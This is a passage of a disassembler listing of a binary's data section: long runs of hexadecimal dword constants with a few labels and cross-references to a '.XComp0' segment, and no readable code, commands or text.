		dd 0C34575ACh, 0ED805E14h, 6B92DC4Fh, 28295A00h, 39077C73h
		dd 0A2B800C3h, 492714F6h, 200793Dh, 0CBF9B5CDh,	0C1AA84h
		dd 0D2A81304h, 6310924Ch, 9E8A7500h, 19DA0C8h, 1A310012h
		dd 7C458632h, 8AFCB3BBh, 0F6C8C300h, 0B7FBB42Bh, 0CDD61C33h
		dd 5E5C65h, 183C4737h, 140EB1C2h, 4FD37D70h, 0DA4F4125h
		dd 62F21E5Ah, 0C28A6076h, 949A00A1h, 0FC16CA59h, 610B2C6Bh
		dd 7E48415h, 6760A77Ch,	72B0557h, 0F1664EBAh, 0F6B990F9h
		dd 7A1EE434h, 72D61E3Eh, 1627A841h, 0D424AC7Bh,	1CB1CECh
		dd 0C900BD4Ch, 64F5CC8h, 9E006751h, 581B638h, 840F39h
		dd 0CF286872h, 8A21421Bh, 0D17DE51Dh, 493446C0h, 1C6B86Fh
		dd 3DAEEFF9h, 6E16D95Dh, 0FD10C618h, 0C6130076h, 85C30B3Eh
		dd 0F412910Ch, 400041Fh, 9FA25147h, 0FAA00045h,	0ACEF4296h
		dd 0F2070B91h, 5641A1F9h, 195A9E30h, 537601B8h,	0A713BB26h
		dd 50DD206Dh, 1FC02500h, 0FAB16FA1h, 0CDBD0163h, 77784358h
		dd 8FAFE8ABh, 0EB9F9D00h, 0BA469273h, 0B0861EE8h, 562E8098h
		dd 9C52E1F0h, 0A01AB900h, 0C7346977h, 3B1F0B30h, 6C018ECDh
		dd 74CF7B33h, 0C2408ABCh, 0DB600114h, 0DEFEF392h, 0DFC6F4E0h
		dd 0AE001DF0h, 0FA9CAA22h, 22B3967h, 662AC918h,	60601FD1h
		dd 2700B315h, 91D40643h, 316AAD57h, 11708414h, 8A4C70DAh
		dd 4A18CCE8h, 7C107EBAh, 0CFB200BFh, 65532790h,	0AA0051F0h
		dd 6B2638A6h, 0FA0563h
		dd 0A8047B4h, 0F8EA4D39h, 52107200h, 4616E1EDh,	296C00CBh
		dd 670504D0h, 0E24C21E0h, 0BB360090h, 8C192E5Ch, 3D1C07F6h
		dd 4F33FF1Eh, 99A2B603h, 0C07887E4h, 0CB2EAC5Eh, 0D2768D1Dh
		dd 0CE07109Eh, 0F7E0806Ah, 3C015C95h, 0E000FC0Dh, 0C8351C8Eh
		dd 4F00B7C7h, 8CE2F267h, 48AECFC9h, 2802040Eh, 0B196025h
		dd 9EEE0300h, 0C5090094h, 0A346ABB6h, 0F009698h, 0D1055EC6h
		dd 0AFE87h, 8225AA32h, 97236722h, 0D4663E00h, 1DBE2779h
		dd 6878038Bh, 0F673768Eh, 3116D0D0h, 850F9400h,	0B5D67061h
		dd 4EEB008Dh, 1D30FEA5h, 0E8F71F9Fh, 0A401E9BDh, 64AD3309h
		dd 0F5E8CD5Fh, 0D9760290h, 166E1AC9h, 0F8A6A961h, 2B3DC6B5h
		dd 0CBA008Fh, 0FFEDE1A3h, 1F670310h, 25FEE070h,	405F7AD1h
		dd 0BF78CCE0h, 200A1B8h, 0CF1DDEB4h, 4D967Eh, 37638AD6h
		dd 5BFEFA53h, 0E35E7400h, 0F7878F06h, 2AD7F64h,	1C45F89Fh
		dd 0F1E0926Eh, 150233D8h, 0B7C9C693h, 0CC436074h, 8BF1007Ch
		dd 8969686Dh, 1600B30Ah, 1A44A24Ah, 0E26E00Eh, 2777211h
		dd 7DD1BBC0h, 571E9F20h, 1CC0190Ah, 0C4FD593Bh,	0A77C0Ch
		dd 0AA8EF1C6h, 0AE2552CAh, 9300CF7Ah, 2B55C440h, 0E65373h
		dd 52C1AF8Eh, 7A1D323Ah, 0EEFF651Ch, 8C2E3780h,	0F66FF1h
		dd 0D071D3E7h, 0A1AB5FC7h, 0C9C82650h, 0D9D61D1Eh, 2BBDDD40h
		dd 0E8A72890h, 0E2630113h, 0D4B969E6h, 6CC1FCADh, 9D00EEEAh
		dd 3840E97Fh, 0A203E2h,	16D2AAD5h, 126A72FAh, 0D9058C00h
		dd 3FCBA45Ch, 1EECF204h, 0C1539528h, 9B4CC187h,	6530C4C6h
		dd 0ADEF3D00h, 0EA296F5Fh, 0DA210779h, 0F081A03Bh, 0A2FFCAA5h
		dd 0B7FA2002h, 0E02D3796h, 73F94C41h, 834002D6h, 0D586E658h
		dd 0D9DB80FFh, 0C1C085h, 10F90C1Eh, 0A1753182h,	61D8B300h
		dd 30A0070Eh, 0B4AC245Ah, 0F3EC003Ch, 411B5C11h, 8BD7DB01h
		dd 0AFE49998h, 544DD840h, 91F101CCh, 0EDAA040h,	0F775E036h
		dd 2A08DF00h, 19E83BD6h, 0A71D1C65h, 0BD210030h, 0D8F899C4h
		dd 0D2BF4D00h, 2DF65CF7h, 0D6F5076Dh, 0A096E934h, 528CB776h
		dd 2ED8FF60h, 3773739h,	5AEAB043h, 91B0B260h, 410A87E1h
		dd 0D0F27F48h, 0B07ABF00h, 1905F3h, 0A62E4EA9h,	0F02B984Fh
		dd 0E8749B36h, 0E0AC0094h, 6435D5F9h, 41002909h, 0CF2C1413h
		dd 5A431h, 63B1DEAAh, 2512501Dh, 20387577h, 0DAF1809Bh
		dd 3639A28Eh, 505C17E6h, 8FBF00EFh, 0EE2F54CBh,	0DAD30A00h
		dd 0F95BAA66h, 1340FF1h, 13A03Fh, 0FC3981A3h, 0B700DA4Eh
		dd 8C9BABCDh, 0F7AD52Eh, 8886C2EFh, 0CAEB0840h,	6C909756h
		dd 2DD1870Fh, 9144007Bh, 8180BAh, 0F754FAAEh, 28C97826h
		dd 0DEF02700h, 9FD2494Ah, 43E802h, 3DE2F941h, 36284B56h
		dd 0E9C91400h, 5819B893h, 169851h, 3FB069E1h, 1534E33Bh
		dd 0D8E42700h, 8E47BCF8h, 1F700717h, 2482CF65h,	44B0808Fh
		dd 1E001C7Bh, 0F28956B5h, 0F572DBh, 84F740D2h, 0A6917509h
		dd 0DCF0CB28h, 702AC200h, 680FE7A2h, 16AB04B8h,	0C0D1F5A0h
		dd 0D8F6B060h, 0A93D0A0Fh, 181F8014h, 75085F1h,	0E089036Ch
		dd 24915069h, 6B492119h, 84E70254h, 406DA99Fh, 0E48530EDh
		dd 991100DEh, 836A227Ah, 0E524919Ch, 2C006014h,	0C7B336C1h
		dd 284C00AEh, 4A217010h, 20C0CF1Ch, 0FE061FF5h,	0EC3100D8h
		dd 7DB2CC94h, 900ECBE0h, 432C30C9h, 0D012D9EAh,	0F4FEE6h
		dd 0DF11F816h, 0B5864560h, 4DA9AC02h, 0C0A5CF9Ch, 2C712C7h
		dd 0F37E0A84h, 686273AAh, 0AE79A540h, 41CFA800h, 7466D73Ah
		dd 914D3D71h, 0C75E7F80h, 0E3408E35h, 0ABC2A700h, 0AA24BB5Fh
		dd 9653ECBh, 3FF33C78h,	0C367CD1Fh, 24EE16B9h, 6064F6A8h
		dd 6DF5031Ch, 28AC640h,	0EFB44FCh, 0B63C846Ah, 4D46E201h
		dd 5A9AD088h, 29D1DB00h, 0A55DF0Eh, 0E96C0784h,	11391D91h
		dd 70638CD2h, 0D800C236h, 58425B13h, 0F7DEE3Fh,	2989B754h
		dd 45F716C0h, 0EB032004h, 7AFF9C38h, 80ABF24Bh,	0AF37DDC8h
		dd 6FB405D4h, 0C0C572F5h, 0A6C9F318h, 2F3E0B00h, 0AC0F7328h
		dd 0E42600A4h, 5121CDDFh, 8FE40ABBh, 8728E800h,	254FB8EFh
		dd 5EB400EDh, 3298D4F9h, 0B100C814h, 1F1AE511h,	8E2DDCh
		dd 91E8718h, 0A682E1DEh, 6BD05000h, 0D2CB7445h,	76970039h
		dd 0C840C4FEh, 0EDF9BDD9h, 6FDBFC50h, 60EB9600h, 2C4A2682h
		dd 2AD30A2Dh, 81EC5Eh, 16A7A810h, 0B7503CE2h, 9100C3C8h
		dd 37BD433Eh, 7AC7CCh, 728BC9F7h, 0D75A8D85h, 0ADCC800h
		dd 1558C071h, 0A03AF410h, 0B509E7h, 85D10D3Fh, 9ACE9423h
		dd 11AF9000h, 256FAD56h, 364E0037h, 2DF4A305h, 397FDA30h
		dd 0D39C2700h, 0D8E7BCEAh, 0DC5B006Ch, 667D749Ah, 8207700Dh
		dd 494D5CA5h, 5D4A1F80h, 80A4A054h, 3D740084h, 896FA0D6h
		dd 770506DFh, 0D1790DD0h, 0B2CBA000h, 1E1BF447h, 8EE70E69h
		dd 63C0D589h, 6C8804BDh, 2FA6590Eh, 6A00B379h, 570334EFh
		dd 0E25E0907h, 0C9857848h, 0C08C1F8Dh, 429BBE46h, 997E0E9Dh
		dd 0EFBD5C00h, 0DA237CF1h, 1C72096Dh, 0C25810C8h, 181D8103h
		dd 980C4A89h, 6A63B5h, 835219A3h, 80E03E8Ch, 9799400h
		dd 0BF34A0C2h, 0A2A011Bh, 0F6607177h, 831DF44Ah, 0A64BE300h
		dd 5B94EFA9h, 3C3E008Eh, 3FD4E9D7h, 3B02855Eh, 0A995C31h
		dd 5A6DE1B6h, 2E488D4h,	66C02CE9h, 0F482B31Bh, 0FF63DF87h
		dd 4FD117B8h, 54113701h, 12C6D0DAh, 3255720h, 0AD2238D5h
		dd 0C9A8A6E0h, 56302044h, 875C40B1h, 11B80783h,	0F0CBCEDBh
		dd 1404EE55h, 3D979848h, 23450097h, 1A7E6957h, 3C6FFEC2h
		dd 0FE8E40CFh, 34E0D40Ah, 0C7F6C12Ah, 8C0558F8h, 0C27D5CE0h
		dd 3BD2CC3h, 6123BBC0h,	6800A3F1h, 1081CF28h, 0EAD74203h
		dd 31F539D1h, 0EB15A683h, 0C1F0BE5Bh, 7700C930h, 2888E233h
		dd 24F811F6h, 0F81960h,	0E79B51C8h, 78F4FD89h, 0E058B960h
		dd 22062A9h, 0B8EA31B3h, 1840D0FBh, 932E3917h, 60560CFh
		dd 80AEDC0Ch, 4705D4ABh, 0ED7FC71Ch, 0D5CB5080h, 4D1299h
		dd 0D336FC2Dh, 0AC10304Ch, 1AD1DA00h, 51C162E2h, 53CE07FEh
		dd 90E957FAh, 3CE8EB6Eh, 1A1F7FECh, 64C06D04h, 5C5933EDh
		dd 0AA4B09C3h, 6D800718h, 1C5755E6h, 46170D03h,	0A0861FEDh
		dd 0D0D5D4h, 0BB983915h, 8BB50619h, 0A4843050h,	621D7200h
		dd 0C3150D4Eh, 59E901CDh, 3636588h, 66532036h, 9AA3C500h
		dd 0BA3F2D5Eh, 0F8E76002h, 0AB91726Ah, 0D180CC00h, 6B36D0FDh
		dd 2EBC0056h, 0E7D54237h, 7D4CB96Eh, 211D0EACh,	2D013260h
		dd 0DD6D92F8h, 108C5CCh, 568F4984h, 0D4394B1Ch,	6F136BF4h
		dd 0A4002DAEh, 3B8C9E6Ch, 4E5807D6h, 2C7D8Bh, 5CFB645h
		dd 99DF4800h, 13F964DAh, 6CB11CD1h, 0B0BF407Dh,	0C84DED38h
		dd 3F224A00h, 0C5E9789Eh, 3CF7000Dh, 0B8F9FF80h, 0EB019DDBh
		dd 21287CD1h, 0DAE84309h, 0A6540493h, 310CE75h,	0E8F2F91Ch
		dd 0D1C7F0h, 952C6AF7h,	0DF4A90B2h, 1D665700h, 5E0C3882h
		dd 0FAAD00D3h, 0FB552975h, 7200F652h, 4CA90AC6h, 87FF43h
		dd 0DCFED328h, 13597329h, 6D0FB900h, 22684B1Bh,	3C2FF49Bh
		dd 0D13F447Ah, 2E12DE80h, 57B987Fh, 587E2600h, 0FE5B04E6h
		dd 1990009Ch, 0F78165D1h, 44036E2Dh, 0CA9648AFh, 0B01DF06Fh
		dd 0B71C3B0Bh, 3ED7EF00h, 0E542A6F7h, 0D2C8CE00h, 5EAF0A52h
		dd 4C5D00D0h, 0C380C95Ch, 0C203B1F1h, 68879EF9h, 0AB4F984Dh
		dd 277F003Bh, 7ECAD5Dh
		dd 0C4018DC9h, 6B1D6CF1h, 43E41574h, 0A2380372h, 0A5FE8928h
		dd 0CC9A1880h, 0F8C1A30Bh, 3F7380E3h, 935162h, 95DD2DA7h
		dd 12AD69B4h, 1C2B4700h, 1F0BB72h, 560008Eh, 2F102352h
		dd 0F10F178Ah, 0E090F226h, 55D4EA87h, 0E87B00B2h, 0E94B23B4h
		dd 8AFEC1E7h, 801ADF3Dh, 10D70972h, 731E92h, 0C6E33822h
		dd 0A2DE8F91h, 0C73B6D07h, 0E50043F5h, 7FD03Eh,	4722EAFCh
		dd 2D71E328h, 0ACB8634Eh, 0FDEC570Fh, 55326400h, 0FF020EEAh
		dd 0B635D993h, 49116099h, 20544CE0h, 8D71ED00h,	0C4B7D5A3h
		dd 803F733Bh, 0B0B6F417h, 387A23h, 0DC9CCE99h, 865912FDh
		dd 7EC04700h, 1EFB90F5h, 216F48D3h, 0BD9A110Eh,	3F53D280h
		dd 0D913AFBCh, 0F900FA6Bh, 3EA7D9Fh, 2B5100F9h,	128CA3B7h
		dd 0F307E00Dh, 0EB01AA9Eh, 0C71038C0h, 87660125h, 0AC33323Dh
		dd 0FD040D4h, 0D300BDA6h, 29D6CA39h, 76BCD93h, 0D25990B4h
		dd 0DAA80E9h, 70060B95h, 0B71A6AA9h, 0EDBEA010h, 0CC40000Eh
		dd 31596308h, 0E91F298Ah, 97C04BF2h, 7F56C675h,	388D02D4h
		dd 912D76E4h, 950ADE80h, 41000B12h, 4A975C7Eh, 2F403Dh
		dd 0E727B5AEh, 2EE04323h, 9C000EF0h, 67BBB985h,	78A1D3h
		dd 2FA4030h, 6B6ACEBCh,	6E948804h, 0ED812CBBh, 0F5FCEA57h
		dd 0CAD73012h, 49BA0368h, 80FB3439h, 0A755029Ch, 3BB782Eh
		dd 8114A1F2h, 0E9E7E868h, 0A67C2480h, 11C089C9h, 569F5C0Ch
		dd 1F5400AEh, 5FFFC27Fh, 0C5019B82h, 0E2B09E05h, 0E9FF6442h
		dd 0B4DCCDAEh, 0B9B80E81h, 0DDC70BCFh, 37C8803Ch, 1D006DF5h
		dd 0FE7BC005h, 789501h,	807965FDh, 699F1110h, 0FCE062EAh
		dd 4CD60A07h, 9D004B05h, 146E39C1h, 0B1255D5Eh,	76556C00h
		dd 77FAB8D8h, 19C8E803h, 0F8215001h, 9F27378h, 7C3BBC15h
		dd 0D8390055h, 3A2BAE97h
dword_534544	dd 5101EBF3h, 865CA05Eh, 719050B5h, 0A200C362h,	8A598CA6h
					; DATA XREF: .XComp0:00453224o
					; .XComp0:004532FCo
		dd 4CE9B652h, 3D00275Fh, 0A0AEF739h, 6F31A1C2h,	4C21D0ECh
		dd 0A024E2D5h, 0B887569Dh, 0E84EE00h, 0E9BB260Bh, 9CDE4E00h
		dd 785BDFA5h, 6970087h,	9E1E8FBEh, 0BD000422h, 7FD49617h
		dd 0C4FE63h, 0E129B1D0h, 532D934Bh, 68F13603h, 0F6F36BD3h
		dd 0B3480011h, 0C94CA1E7h, 0F0EF5A7Ah, 170EEB3Ch, 7216ECDh
		dd 35F041C8h, 0E006C1h,	0F8C71ED8h, 746D9080h, 349CD600h
		dd 936C1A66h, 0E77D00EBh, 25086F76h, 1F034920h,	0D6974BFBh
		dd 28DEE0D1h, 9ECEAB4h,	896F21A6h, 60EDF986h, 0E0FEF90Eh
		dd 138FBFA8h, 9366C0B6h, 6039Bh, 0DB8FFD83h, 86D3A556h
		dd 7841601Fh, 676D5240h, 0F31ABBh, 88B1320Ch, 0E5A04F01h
		dd 92E32400h, 9FD43D0Dh, 0A9DE3F73h, 80A5FA1Dh,	14350BAEh
		dd 8E3E2BB1h, 1D8D803Ah, 6D271093h, 416400CDh, 2F07D48Ah
		dd 0BD007A67h, 7CAD0AB5h, 9719C7h, 6C143C91h, 817B9A47h
		dd 9B35AA09h, 0B15480F9h, 13DEE3FDh, 8D1DBBh, 490E39BFh
		dd 5C00E841h, 8E15C6D6h, 1BBC5A4h, 0E03A75F5h, 0F090F93Dh
		dd 8B00367Ch, 191B8095h, 3E4E8354h, 0C000D227h,	10A35667h
		dd 80DDF750h, 165B6841h, 2181772Bh, 6CC2ADA2h, 95FEC08Eh
		dd 3196169h, 84EB47C3h,	0A6F9A0C0h, 8C90A40h, 1ECB4ADh
		dd 68BFD893h, 0C7EDC897h, 3B64E900h, 0B8CD69F5h, 279373EBh
		dd 0F2FEC052h, 0DBC49900h, 3053B6h, 0E53A20F1h,	771CE459h
		dd 0BE222100h, 0FDC3AAB8h, 0B4E10001h, 9AC4352h, 2500EA50h
		dd 0B34B1A6Dh, 28A9FAA7h, 0D884EFh, 67FF7756h, 5C3C38A1h
		dd 8C942100h, 0B05E1899h, 8AF60037h, 0F71B9888h, 3B07E2BCh
		dd 70CC2E5Ch, 5AA6E800h, 0AB1400DEh, 7C25DCB4h,	0BB3D51A4h
		dd 5CDA80B0h, 161FA007h, 727F0071h, 39D81455h, 0F1E958EFh
		dd 4160800Ah, 0D27FD3C4h, 803D0098h, 0ABC08202h, 2D0F85CBh
		dd 0C0B07518h, 302E3551h, 0D5290048h, 0E2A4AA17h, 0F8728878h
		dd 2766CD01h, 3B69D2B4h, 0B71C20h, 7484A721h, 4F807F89h
		dd 0EA2D3100h, 59A9D16Ah, 577A1FD6h, 8328A1h, 40A5C9C0h
		dd 5E28812Ah, 606BB400h, 327FC5C2h, 0C38A0010h,	0B11BC43Dh
		dd 0BB01FA79h, 0EC02218Bh, 0E7D80F5Fh, 319700C3h, 1D85ACE6h
		dd 0D509B0F7h, 0A58FCC7h, 7C00CFECh, 2BB74D25h,	0D65F1F0Ah
		dd 5B6E0028h, 1B04DCC8h, 4CF3A619h, 5CC57720h, 0DD05FCh
		dd 2C71D438h, 0A9AF8BB2h, 0A1A4151Ch, 68000E92h, 0E957507Eh
		dd 7DF0BD22h, 0EBEA7A71h, 461F88EAh, 56C07F5Dh,	3C911EAh
		dd 4620FC0h, 0D54745ABh, 0D5E400Fh, 580769B8h, 0A0E555EBh
		dd 24C07FE4h, 46CFFFDh,	0EDA40503h, 75D88013h, 0D003223h
		dd 0D23ADA86h
		db 0BAh, 0B2h, 0Bh
byte_534843	db 50h			; DATA XREF: .XComp0:00453154o
					; .XComp0:00453164o
		dd offset dword_4FFC54+80h
		dd 0CDB68E89h, 0D7C04577h, 36C17400h, 15B4F1F6h, 9ABC0078h
		dd 3AA50E60h, 0FF609650h, 1BC52E38h, 82EE0027h,	0C389BE01h
		dd 0FB002870h, 4BE9CC34h, 38CDF9h, 838F712Eh, 0BDC5A113h
		dd 0C9B9F700h, 122B55DCh, 0E4A700D1h, 0AC9563C3h, 0A60AA84h
		dd 80C6C458h, 9D7A09B3h, 3807663Bh, 0DAB4F0A2h,	890E65C2h
		dd 83432BCCh, 0C42A3370h, 0AED728C0h, 5B6F0034h, 0E0184150h
		dd 1403F84Eh, 59035FD3h, 3E43D8FDh, 4226005Ah, 8EDAD1FFh
		dd 0D490104Fh, 7372D600h, 0FAA9C6EEh, 36C5004Bh, 9B712844h
		dd 0A40A8FE7h, 9C7A03DEh, 0A5848280h, 676C9Eh, 0F0D0D58Dh
		dd 0A922ED94h, 0C21C631Eh, 691A28B0h, 7EBB079Fh, 8E0E6DB5h
		dd 7AEA99E0h, 7898F8CEh, 35F6CB0Eh, 238860C0h, 1E1FE452h
		dd 0F53877h, 432D60CFh,	1C03F419h, 0D6EE4B18h, 245DA184h
		dd 678AC540h, 0A0FA9Eh,	68DE8352h, 0D21508E7h, 0B4F5C00h
		dd 972CF89Dh, 6A200E2h,	8E7E7CEEh, 0AE01705Eh, 0CB688C58h
		dd 14202FFAh, 57D0EB4Eh, 0B00B5004h, 22663862h,	9D637B09h
		dd 14EB8C80h, 0C30C5F71h, 107EBEB2h, 51340020h,	771D8195h
		dd 1E04C7CDh, 8231C6C3h, 0D267B880h, 0D7FD076Ah, 0E7C1FC4Bh
		dd 8AECC0E2h, 0A51FB6A9h, 9F7B16FFh, 0FB8E6B61h, 7F7CE014h
		dd 24DD8058h, 0FA09FBAh, 5A4F019h, 720112A3h, 75430EAAh
		dd 5987F0h, 4108B85Ah, 5EBCE3A8h, 0BB5B703h, 8861E9B2h
		dd 7A4EE4C3h, 6FF500A4h, 57EDBE66h, 8B7A77C8h, 25018A09h
		dd 9DA00079h, 0B2FCDA0h, 0A18048F8h, 0E6638000h, 0E7B8438Fh
		dd 0EF15FE0Fh, 0AC07CE3h, 22694151h, 7C3748EAh,	0D9850D00h
		dd 422D2667h, 3C0051B0h, 2440D13Fh, 0F877B79h, 28430CEh
		dd 1000D909h, 3954BAFBh, 26000A79h, 7A0DB32h, 0EEB0E803h
		dd 984801F6h, 1091E118h, 0E6A9DC31h, 5D6E4B03h,	0D0B09BDBh
		dd 79936D4Eh, 13A00514h, 90F975BFh, 0FE559E0Ch,	0B46A9600h
		dd 0C60BECAFh, 0E09107CDh, 0E036D1DFh, 23B55F58h, 110075ECh
		dd 0B1068934h, 141376h,	6CACBB7Bh, 6F411EE3h, 0BECD2200h
		dd 0F4F9E510h, 4F5007Ch, 786729F3h, 0C37435C8h,	0C6207100h
		dd 0C785D66Dh, 0FA5B0040h, 1CF35A55h, 937BCC9Ah, 6D0BD01h
		dd 0D6F843EAh, 406F2180h, 14B8E3CDh, 7E872E00h,	6B47D0A7h
		dd 0A50C182Bh, 8E952950h, 54B21C90h, 0A4E82C17h, 4BA21040h
		dd 9CB77A6h, 0AAFA4F4Eh, 948C3501h, 4CE4E829h, 968EE4EFh
		dd 0E7A6380Fh, 921FA4Dh, 8B3A0108h, 31BB2BB9h, 0FA8D04F9h
		dd 0C018C97Dh, 0A8227F10h, 0BB677B90h, 63820211h, 13B16078h
		dd 18249AC2h, 99086D47h, 0E200D989h, 0E38A3BB9h, 32012BFh
		dd 5B0F56B8h, 0B2B08B71h, 8005243h, 0A81A7A62h,	0C1120353h
		dd 14C5C648h, 0D38007DEh, 0E3BC36Eh, 35FE7FE1h,	759046ECh
		dd 38524028h, 0E0A22500h, 0C3F63BC5h, 1049CA11h, 0E3D18148h
		dd 0E9709BB9h, 48CFDC5Bh, 4724F91Fh, 91DAAE00h,	6F1AFh
		dd 4F12C3D5h, 0D1EC26D8h, 0E11EC407h, 80DBBDCEh, 7BD3AF77h
		dd 101603FAh, 36936B98h, 0E77844C0h, 3972210Eh,	2E3A60EEh
		dd 18FFE9h, 0C402FE6Ch,	0EBEADFCFh, 0B201A57Ah,	52346392h
		dd 6AE46B03h, 0ACA9CAA8h, 0FB15FC04h, 0D456ABh,	467977A1h
		dd 0F5F2511h, 0D2EBFF7Ch, 82A79121h, 0F27F068h,	0D1EADD1Fh
		dd 94077B1Fh, 0CF6B5Bh,	84C101E5h, 7759C1D5h, 84076940h
		dd 43172D51h, 8F06C740h, 28C1C4B9h, 5F9B3D5h, 0E08AA443h
		dd 755D32DAh, 2F2D070Fh, 10468223h, 9115D390h, 88B9A669h
		dd 0BD186057h, 185631D1h, 10C7959Bh, 89090B7Ch,	2DBB33Fh
		dd 98467024h, 80221470h, 0A93A2033h, 0BC570353h, 220A0354h
		dd 790FE7E8h, 405118D0h, 0C3CE2D12h, 0E0882206h, 6D07810Ah
		dd 51C04C0Fh, 3D199184h, 0A18DC0CBh, 0E4A9FE5Fh, 14A09B52h
		dd 89095677h, 21DA9F8Fh, 0A8F17C78h, 0C66C3886h, 0A00A28D7h
		dd 0F82E66EAh, 50750448h, 7C61835Fh, 4575ED10h,	20470C21h
		dd 7DD15C31h, 20E6D5h, 1E200B5Fh, 0E3864ACCh, 0B9222946h
		dd 0E4972216h, 3F113442h, 8AD2142h, 890E11Ah, 5F4EFF84h
		dd 45D9C479h, 373E1DAh,	7F0AC8DDh, 5A8E00B8h, 0B66E5CEh
		dd 7900F241h, 65E6CD28h, 0F0AC7E0Ah, 0F3630E9Eh, 0C3E3AFE3h
		dd 0F4C9A013h, 0BB237016h, 0C58ADB00h, 8FADF038h, 20B1E33h
		dd 4E0D8012h, 4895A3D2h, 23D86203h, 0C01AB06Ah,	0E0EF25h
		dd 36384728h, 0EAC479CBh, 674B9900h, 0A13D6217h, 6E6E0h
		dd 5402C764h, 78E01A2h,	80C1A73Ch, 9AD3FA49h, 7B7CBEh
		dd 2AA809DAh, 5877AD48h, 0A0D04500h, 18306301h,	6A983B85h
		dd 0A928B901h, 0EC11BAB3h, 5B007F86h, 34A50B89h, 0C9436Fh
		dd 0E48F41DBh, 787A8521h, 14001973h, 7BB4F707h,	76BCC0F3h
		dd 7EF20Ah, 0D9FF7513h,	33156534h, 4A000BF2h, 118F528Bh
		dd 3A40AE87h, 28FCB64h,	33A72506h, 0E1331E9h, 0BD182469h
		dd 3EC0F901h, 4F61A4FEh, 742559F4h, 0DFD51E1Eh,	0FFD2C024h
		dd 71ADEDB8h, 34D1FB01h, 0A058F56Ch, 22C370h, 0D9120485h
		dd 4D7A41C1h, 9E5D312Ch, 2769CA00h, 34961B7h, 64028A57h
		dd 0AB981735h, 4260808Dh, 8E520690h, 50A337DAh,	0BF537010h
		dd 57006ED0h, 10FCF997h, 76399h, 7244B334h, 59CE4C67h
		dd 78C1BF24h, 2795BC00h, 0C38BB0h, 0E23C0D89h, 3948F4D1h
		dd 4AFC291Dh, 20A90640h, 7CCDCFBDh, 0AFE0584h, 0CE36Fh
		dd 7C7261E0h, 86001650h, 96D54552h, 0E043776h, 0BDDCA84Ch
		dd 0E44D6Ah, 0FF719FDFh, 0BF0057B6h
		db 5Fh
byte_534E45	db 0CFh, 0C4h, 9Eh	; DATA XREF: .XComp0:00452E9Co
					; .XComp0:004531C4o
		dd 1EEBF83Dh, 3C2920D7h, 9387C880h, 494AB115h, 1F1128C0h
		dd 3059DEh, 5A52D1D5h, 0BC6B82E2h, 97AEF300h, 0A8E11520h
		dd 4EF600FAh, 0FCBFFD3Dh, 55009FD0h, 65E27910h,	6571A14h
		dd 2CD2D596h, 7700900Eh, 2A4FE790h, 480A9DA6h, 0F80F1C2Bh
		dd 0EA1E067h, 0FC1ADC37h, 1076061h, 0B58146FEh,	0B3BF5A10h
		dd 3F33000Fh, 0C1DC9089h, 8C0AB65Dh, 0E44F05FBh, 8EF78705h
		dd 9997CDC1h, 2D8068BBh, 0EB159AF8h, 0E40435EAh, 23A9956Dh
		dd 35F2EE0h, 0E91D45Ah,	20004BF0h, 1CF9AA72h, 0F2EE085Bh
		dd 0D3860009h, 8EA39FC3h, 0AD5C9844h, 0A78312BCh, 62E44800h
		dd 1F9FE711h, 0C0DACF76h, 9A0914CEh, 0D501D0A1h, 0E6126DAEh
		dd 5ACC2113h, 0D79B00FBh, 0E7EB2B26h, 0EE00FC75h, 732348D4h
		dd 26110CF1h, 308B078h,	8AAB49D3h, 0C3EC3DD0h, 0E836070Fh
		dd 193900D7h, 62B1E7h, 0A21B57AAh, 0D8C2C713h, 0A050CB00h
		dd 0FC71BCEFh, 1C360028h, 3AEB517h, 0A9008CFAh,	693D6137h
		dd 3AD9BA63h, 9A834C72h, 7CD5D864h, 678A33A0h, 968EEF00h
		dd 713A0177h, 192B02A5h, 9AE23747h, 62768460h, 0D194E000h
		dd 0E6D7803Ah, 2E7138FDh, 136C4080h, 0C14C3D93h, 4297926h
		dd 0F8FBFF00h, 710C8A8h, 88189D5Ah, 154ED3BEh, 34818CF8h
		dd 548728C0h, 0B20CC640h, 47D0070Ch, 0B0745ECAh, 7F2C4485h
		dd 9F537800h, 1B7E7F5h,	62130CFCh, 0B4C88DA0h, 5405C202h
		dd 0E0A7E67Ah, 17F42DD6h, 0DBE098h, 1E07750Dh, 494858CAh
		dd 3F6E074Ch, 1A30B6BAh, 8D7B14h, 0F5356C2Dh, 0A508A19Fh
		dd 0E2519B1Dh, 0BC1DB6D2h, 0D95FDC40h, 268981DBh, 88A7CFh
		dd 0F1CDAD41h, 80005171h, 3BE5ECACh, 48D8B7h, 4FEA1F64h
		dd 0FE6C8216h, 788C48h,	899239A9h, 774D792Eh, 0B210000Eh
		dd 55B06B7Bh, 2D05FAF6h, 759BBE8Bh, 0EB5FE201h,	40F11F7Ch
		dd 3514820h, 4903A86Bh,	3CC89F30h, 8F24D59Ch, 75023A6Ah
		dd 0C0C3EAE4h, 96952h, 7FC22E59h, 8DC9207Bh, 0B66A9F01h
		dd 0F961BB77h, 0ABBF6E87h, 506CF7CEh, 4985CAE4h, 0E513280Ah
		dd 4401C409h, 5AD04273h, 0E5CA6630h, 2CC618D0h,	10271C0h
		dd 0FF19664Bh, 9F2FDCD5h, 0A315CCA0h, 0CDD46900h, 0E02B508Fh
		dd 245E3EB4h, 0C51A00F0h, 47E22D1Fh, 7B006D0Bh,	0AC6E7FB6h
		dd 896016h, 315A2022h, 5E10E1ABh, 99A44Ch, 0C504B462h
		dd 79A8479h, 1D182F88h,	0A0D3A776h, 47A41656h, 93FE5D0Ah
		dd 803CD891h, 38C4A301h, 0A3A67D6h, 5F1D4FCCh, 155B00F4h
		dd 232FF382h, 32D8A100h, 0DA137955h, 6BD8EF2Ah,	496561ECh
		dd 80E1B708h, 0F7A838BCh, 608A5EE2h, 0E0AD4852h, 9C03B976h
		dd 0EC2790C3h, 3C120F99h, 8AE0FFF8h, 18EB047h, 0D2566800h
		dd 338CFBABh, 0C61B003Ah, 0FFD7B23Ch, 0DE126570h, 63006BC3h
		dd 0F80AC25Ah, 3D16022Fh, 4D805CBCh, 1817DC40h,	105F7B37h
		dd 95012F00h, 0F5CE0045h, 7FEC6D56h, 0C6269C71h, 0B5005E07h
		dd 868D831Dh, 0A81500FAh, 0BD4F2472h, 0AB00665Dh, 195B0CAFh
		dd 3A2D96D3h, 53001706h, 0A4DC1D79h, 67FC45EAh,	25016870h
		dd 4A1B2149h, 0BDC87C3Dh, 0A4EC4Eh, 3ED3EEC6h, 25424CF7h
		dd 41078CF2h, 12C00214h, 0BE62250h, 8D492CBAh, 0B6CF0E94h
